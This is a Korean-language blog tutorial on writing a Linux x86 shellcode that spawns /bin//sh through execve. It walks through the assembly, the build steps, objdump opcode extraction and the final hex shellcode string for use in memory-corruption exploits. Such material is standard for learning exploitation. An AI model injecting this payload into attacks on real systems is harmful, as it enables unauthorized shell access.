Create a shellcode.
쉘 코드란 함수의 return address를 임의의 주소로 변경할 경우 임의의 주소에 있는 프로그램을 실행시킬 수 있다.
임의의 주소에 프로그램이 있으려면 프로그램이 실행되어 있어야 한다.
그 중 가장 강력한 기능을 가지는 shell을 실행시키는 작은 프로그램들을 일반적으로 shellcode라고 한다.
쉘 코드 생성하는 과정.
1. C코드의 구조를 이해.
2. 함수의 사용법 확인.
3. 함수의 사용법에 따라 어셈블리어 코드 작성.
4. Object 목적 코드를 작성.
5. 실행 파일을 작성.
6. objump 프로그램을 이용해 OP code를 추출.
7. 16진수로 문자열을 변경해서 쉘 코드를 작성.
물론 이 순서대로 할 필요는 물론 없지만, 개인적으로는 이 순서를 정형화시키는 것이 낫다고 생각한다.
레지스터 용도.
EAX => System call 함수 번호.
EBX => 1번째 함수 인자.
ECX => 2번째 함수 인자.
EDX => 3번째 함수 인자.
일단 execve로 shell을 실행한다.
#man execve.
어셈블리어로 작성하기 전 C언어를 확인한다.
#vi myshell.c
#cat /usr/include/asm/unistd.h | more
어셈블리어로 코드를 작성.
.global_start
_start:
==> C 언어에서 main과 같은 부분 형식.
xor %eax, %eax
xor %edx, %edx
==> xor은 다르면 1. 그래서 같은 값을 xor한다는 것은 0으로 초기화하는 과정.
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
execve(bash[0], &bash,0);
==> 제일 먼저 스택에 eax를 넣는다 [ 아까 0으로 초기화했다. 어셈블리는 NULL까지 표시를 해야 한다.]
==> $0x68732f2f(//sh)를 넣는다.
==> $0x6e69622f(/bin)을 넣는다.
==> 주소를 ebx에 저장한다.
cf) /bin/sh
/bin/sh은 7bytes로 4bytes씩 처리하는 어셈블리 언어에 적합하지 않다.
/bin//sh은 /bin/sh와 같은 동작을 하고, 8byte이기 때문에 /bin//sh를 사용한다.
$0x68732f2f.
//sh = 2f2f7368 스택은 거꾸로니까 68732f2f.
즉 057 47 2F /
163 115 73 s
150 104 68 h
$0x6e69622f
057 47 2F /
156 110 6E n
151 105 69 i
142 98 62 b
push %edx
push %ebx
mov %esp, %ecx
execve(bash[0], &bash, 0);
==> 스택에 edx를 넣는다. [처음에 0으로 초기화했다]
==> ebx를 넣는다. [위에서 ebx는 /bin//sh의 주소를 저장했다]
==> 주소를 ecx에 저장한다. [ecx는 /bin//sh의 주소를 저장한다].
movb $0x0B,%al
int $0x80
==> execve 호출한다. 0x0B (#define_NR_execve)
==> 시스템 콜 번호 %al은 확장 레지스터 0
==> int %0x80 인터럽트를 호출한다. ==> 즉 실행.
[스택 구조]
| | 낮은 주소.
| |
| |
| 0xbfff0808 | <== SP(0xbfff0810)
| NULL |
| /bin |
| //sh |
| NULL |
| |
=================== 높은 주소.
==============================================
레지스터 저장값 의미
==============================================
EAX 0xB 정수 11
EBX 0xbfff0808 &(/bin//sh)
ECX 0xbfff0810 &(&(/bin//sh))
EDX 0 NULL
===============================================
오브젝트 목적 코드 생성.
#as myshell.s -o myshell.o
실행파일 생성.
#Id myshell.o -o myshell.
#./myshell
==> 잘 실행됨.
objdump 프로그램을 이용해 OP Code를 추출.
#objdump -d ./myshell
./myshell: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074 31 c0 xor %eax, %eax 8048076 31 d2 xor %edx, %edx 8048078 50 push %eax 8048079 68 2f 2f 73 68 push $0x68732f2f 804807e 68 2f 62 69 6e push $0x6e69622f 8048083 89 e3 mov %esp, %ebx 8048085 52 push %edx 8048086 53 push %ebx 8048087 89 e1 mov %esp,%ecx 8048089 b0 0b mov $0xb , %al 804808b cd 80 int $0x80
16진수로 문자열을 변경해 shellcode 생성.
31 c0 31 d2 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd 80
char shellcode[] = "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
쉘 코드 실행.
#vi myshellcode.c
Cf) 어셈블리어로 쉘 코드를 만드는 이유. 쉘 코드는 메모리 상에 쉘을 실행하는 프로그램을 올려놓는 것이다.
'#Tip' 카테고리의 다른 글
The default format for remote attacks in Python. (0) | 2018.04.09 |
---|---|
Using objdump. (0) | 2018.04.09 |
Vim plugin. (0) | 2018.04.09 |
About malloc () and free (). (0) | 2018.04.09 |
Socket Programming Concepts. (0) | 2018.04.09 |